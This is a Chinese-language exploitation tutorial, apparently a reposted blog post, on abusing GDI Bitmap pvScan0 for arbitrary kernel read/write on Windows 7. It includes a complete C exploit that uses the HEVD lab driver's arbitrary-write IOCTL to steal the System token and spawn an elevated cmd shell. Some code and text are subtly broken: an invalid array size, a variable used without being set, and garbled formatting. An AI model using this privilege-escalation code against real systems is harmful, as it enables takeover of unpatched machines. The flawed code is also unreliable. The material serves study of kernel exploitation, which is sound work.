Bitmap在Win7内核漏洞中的利用

0x0 Bitmap的利用

1.简介

Bitmap是与Windows位图相关的一个数据结构,可使用 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap函数创建一个位图。

HBITMAP CreateBitmap(
 int        nWidth,
 int        nHeight,
 UINT       nPlanes,
 UINT       nBitCount,
 const VOID *lpBits
);
nWidth

位图宽度,以像素为单位。

nHeight

位图高度,以像素为单位。

nPlanes

设备使用的颜色平面的数量。

nBitCount

识别单个像素颜色所需的位数。

lpBits

指向用于在像素矩形中设置颜色的颜色数据数组的指针。矩形中的每条扫描线都必须是字对齐的(非字对齐的扫描线必须用零填充)。如果此参数为NULL,则新位图的内容未定义。

如果函数成功,则返回值是位图的句柄。

如果函数失败,则返回值为NULL

该函数可以返回以下值。

返回码 描述
ERROR_INVALID_BITMAP 位图的计算大小小于零。

根据nWidthnHeight的数值,创建出来的位图大小也会有相应的变化,具体和漏洞利用有什么关系,后面会解释。

这里引用一张网上与GDI有关的结构图:
Bitmap在Win7内核漏洞中的利用_第1张图片

包括两个结构,一个是BASEOBJECT

Bitmap在Win7内核漏洞中的利用_第2张图片

这个结构体的成员不需要了解,只需要记住该结构的总大小

  • x320x10
  • 0x640x18

另一个是SURFACE_OBJECT

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;

重点关注的是pvScan0这个成员。pvScan0指向Pixel Data数据区,Pixel Data可由 S e t B i t m a p B i t s \textcolor{cornflowerblue}{SetBitmapBits} SetBitmapBits G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits控制。

LONG GetBitmapBits(  HBITMAP hbmp,      // handle to bitmap
  LONG cbBuffer,     // number of bytes to copy
  LPVOID lpvBits     // buffer to receive bits);
hbit

设备相关位图的句柄。

cb

要从位图复制到缓冲区的字节数。

lpvBits

指向接收位图位的缓冲区的指针。这些位存储为字节值数组。

如果函数成功,则返回值是复制到缓冲区的字节数。

如果函数失败,则返回值为零。

2.利用原理

SURFOBJ结构是处于内核中的,且其中的pvScan0指向的区域可由上面提到的两个函数进行控制,这就说明我们可以在用户层下直接读写内核数据!只要我们想办法控制pvScan0,就获得了内核任意地址读写的能力!而pvScan0 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap函数的第五个参数lpBits是对应的。举例,我随便找出一块有意义的内核地址,但是当做出如下调用用时是失败的

 HBITMAP hb = CreateBitmap(60, 60, 1, 8,&buf);

也就是说尽管pvScan0lpBits有关,但在用户态下是没办法直接修改pvScan0的,此时就要求有个内核任意地址写的漏洞。

为了利用内核任意地址写的漏洞修改pvScan0,首先还需要获取pvScan0的地址。此时,fs寄存器发挥关键作用。fs寄存器在用户态下指向线程环境块(teb),在内核态下指向pcr。用户态下可使用 N t C u r r e n t T e b \textcolor{cornflowerblue}{NtCurrentTeb} NtCurrentTeb来获取tebteb中的ProcessEnvironmentBlock指向线程所在进程的peb p e b + 0 x 94 \textcolor{orange}{peb+0x94} peb+0x94的位置保存着GDICELL结构体数组指针GdiSharedHandleTableAddr。通过 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap返回的hbitmap可以计算出该bitmapGdiSharedHandleTableAddr中的索引,计算方式:

DWORD32 GdiCell = GdiSharedHandleTableAddr + ((DWORD32) handle & 0xffff) * (x86:0x10,x64:0x18);
/// 32bit size: 0x10
/// 0x40bit size: 0x18
typedef struct _GDI_CELL
{
    PVOID pKernelAddress;
    UInt16 wProcessId;
    UInt16 wCount;
    UInt16 wUpper;
    UInt16 wType;
    PVOID pUserAddress;
}

  • KernelAddress 指向了 BASEOBJECT 起始位置,所以
PVOID pvScan0=(PVOID)(*(PDWORD32)pKernelAddress + (x86:0x10,x64:0x18) + (x86:0x20,x64:0x38))

在实际漏洞利用过程中,通常创建两个Bitmap,一个叫做hManager,另一个叫做hWorker。利用内核任意地址写漏洞修改hManagerpvScan0指向hWorkerpvScan0hManager主要用来控制我们要读写的地址,hWorker是实际的读写。利用 G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits读取SystemToken,再用 S e t B i t m a p B i t s \textcolor{cornflowerblue}{SetBitmapBits} SetBitmapBits覆盖当前进程的Token实现提权。

总的来说Bitmap的利用步骤比起Event对象的利用的多得多,到这里不免会有人有疑问,既然内核任意地址写的漏洞能通过改写Event对象也同样达成利用,何必还要多此一举?要知道,在Windows7以后的系统都不能在用户态下分配0页地址,所以Event对象利用会失效,但是Bitmap依然可以,BitmappvScan0的获取在高版本系统也有所改变。

为了方便以后使用Bitmap,这里封装了两个函数

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
											   // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
	GetBitmapBits(hWorker, len, whatWrite);
}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite);
	SetBitmapBits(hWorker, len, whatWrite);
}

3.实战

[环境]:Win7 x32_sp1

依然使用HEVD的任意地址写漏洞作为例子,因为之前已经做了分析,这里就直接给出EXP了,后续会对EXP里面出现的新部分进行解释。

#include
#include
#include
#include
#include
#include
#include

#define SymLinkName "\\\\.\\HacksysExtremeVulnerableDriver"
HANDLE g_hDev = INVALID_HANDLE_VALUE;
CHAR g_szDriverName[256] = { 0 };

typedef struct _WWW {
	PULONG_PTR What;
	PULONG_PTR Where;
}WWW, * PWWW;

BOOL GetDevHandle() {
	//打开驱动符号链接
	g_hDev = CreateFileA(
		SymLinkName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL
	);
	return g_hDev != INVALID_HANDLE_VALUE;
}

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
											   // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
	GetBitmapBits(hWorker, len, whatWrite);
}

VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite);
	SetBitmapBits(hWorker, len, &whatWrite);
}
//获取pvScan0地址
DWORD GetPvScan0(HBITMAP hBp) {
	DWORD dwCurrTeb=(DWORD)NtCurrentTeb();
	printf("[Info]dwCurrTeb=0x%x\n", dwCurrTeb);
	DWORD dwCurrPeb = *(PDWORD)((PUCHAR)dwCurrTeb + 0x30);
	DWORD dwGdiSharedHandleTableAddr = *(PDWORD)((PUCHAR)dwCurrPeb + 0x94);
	printf("[Info]dwGdiSharedHandleTableAddr=0x%x\n", dwGdiSharedHandleTableAddr);
	DWORD dwKernelAddress = *(PDWORD)(dwGdiSharedHandleTableAddr + ((DWORD)hBp & 0xffff));
	printf("[Info]dwKernelAddress=0x%x\n", dwKernelAddress);
	return dwKernelAddress + 0x10 + 0x20;
}
//获取内核基址
DWORD GetKernelBase() {
	PVOID DriverBase[100x18] = { 0 };
	DWORD dwCbNeed;
	CHAR szDeviceName[256] = { 0 };

	if (!EnumDeviceDrivers(DriverBase,sizeof(DriverBase), &dwCbNeed)) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	for (int i = 0; i < dwCbNeed/sizeof(PVOID); i++) {
		if (!GetDeviceDriverBaseNameA(DriverBase[i], szDeviceName, sizeof(szDeviceName))) {
			printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
			exit(1);
		}
		//转小写
		PCHAR szName = _strlwr(szDeviceName);
		if (!strncmp(szName, "nt",2)) {
			memcpy(g_szDriverName, szName, sizeof(szDeviceName));
			return (DWORD)DriverBase[i];
		}
	}
	return 0;
}

DWORD GetEprocessAddrInKernelSpace(PCHAR szDriverName) {
	DWORD dwKernelBase = GetKernelBase();
	//在用户空间下加载内核模块,就得到内核模块在用户空间下的基址
	DWORD dwUserBase = (DWORD)LoadLibraryA(szDriverName);
	printf("[Info]dwKernelBase=0x%x, dwUserBase=0x%x\n", dwKernelBase, dwUserBase);
	if (!dwKernelBase || !dwUserBase) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	DWORD dwPsInitialSystemProcessInUserSpace =
		(DWORD)GetProcAddress((HMODULE)dwUserBase, "PsInitialSystemProcess");//(1)
	return dwKernelBase + (dwPsInitialSystemProcessInUserSpace - dwUserBase);
}

VOID Exploit(){
	HBITMAP hManager = CreateBitmap(32, 32, 1, 8, NULL);
	HBITMAP hWorker = CreateBitmap(32, 32, 1, 8, NULL);
	printf("[Info]hManager=0x%x, hWorker=0x%x\n", hManager, hWorker);

	if (!hManager || !hWorker) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}

	DWORD dwManagerPvScan0 = GetPvScan0(hManager);
	DWORD dwWorkerPvScan0 = GetPvScan0(hWorker);
	printf("[Info]dwManagerPvScan0=0x%x, dwWorkerPvScan0=0x%x\n", dwManagerPvScan0, dwWorkerPvScan0);
	printf("[Info]Modify...\n");
	PWWW www = (PWWW)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WWW));
	www->What = (PULONG_PTR)&dwWorkerPvScan0;
	www->Where = (PULONG_PTR)dwManagerPvScan0;

	printf("[Info]dwManagerPvScan0=0x%x, dwWorkerPvScan0=0x%x\n", dwManagerPvScan0, dwWorkerPvScan0);
	if (!GetDevHandle()) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	DWORD dwRetSize;
	if (!DeviceIoControl(g_hDev, 0x22200B, www, sizeof(WWW), NULL, 0, &dwRetSize, NULL)) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	
	DWORD dwSystemEprocess = 0;
	LPVOID lpSystemToken = NULL;
	//读取System进程的EPROCESS
	readOOB(hManager, hWorker, GetEprocessAddrInKernelSpace(g_szDriverName), &lpSystemToken, sizeof(DWORD));
	//读取System进程的TOKEN
	readOOB(hManager, hWorker, dwSystemEprocess + 0xf8, &lpSystemToken, sizeof(DWORD));
	// _eprocess + 0x0f8 是 token
	// _eprocess + 0x0B8 是 ActiveProcessLinks.Flink
	// _eprocess + 0x0b4 是 processid
	// 获取当前进程的 _eprocess
	LIST_ENTRY listNextEprocEntry = { 0 };
	DWORD dwNextEprocAddr = 0;
	DWORD dwCurrPid = GetCurrentProcessId();
	DWORD dwPid = 0;
	//获取下一个EPROCESS
	readOOB(hManager, hWorker, dwSystemEprocess + 0xB8, &listNextEprocEntry, sizeof(LIST_ENTRY));
	do {
		dwNextEprocAddr = (DWORD)((PUCHAR)listNextEprocEntry.Flink - 0xB8);
		//读取当前EPROCESS下的pid
		readOOB(hManager, hWorker, dwNextEprocAddr + 0xB4, &dwPid, sizeof(DWORD));
		//获取下一个EPROCESS
		readOOB(hManager, hWorker, dwNextEprocAddr + 0xB8, &listNextEprocEntry, sizeof(DWORD));
	} while (LOWORD(dwPid)!=dwCurrPid);
	DWORD dwCurTokenAddr = (DWORD)dwNextEprocAddr + 0xF8;
	//修改当前进程的TOKEN
	writeOOB(hManager, hWorker, dwCurTokenAddr, lpSystemToken, sizeof(LIST_ENTRY));
	//getshell
	system("cmd");

}

int main() {
	Exploit();
	return 0;
}

该利用方式在64位下,只要修改其中涉及到的相关结构体的偏移同样能够成功。

你可能感兴趣的:(提权,总结,网络安全)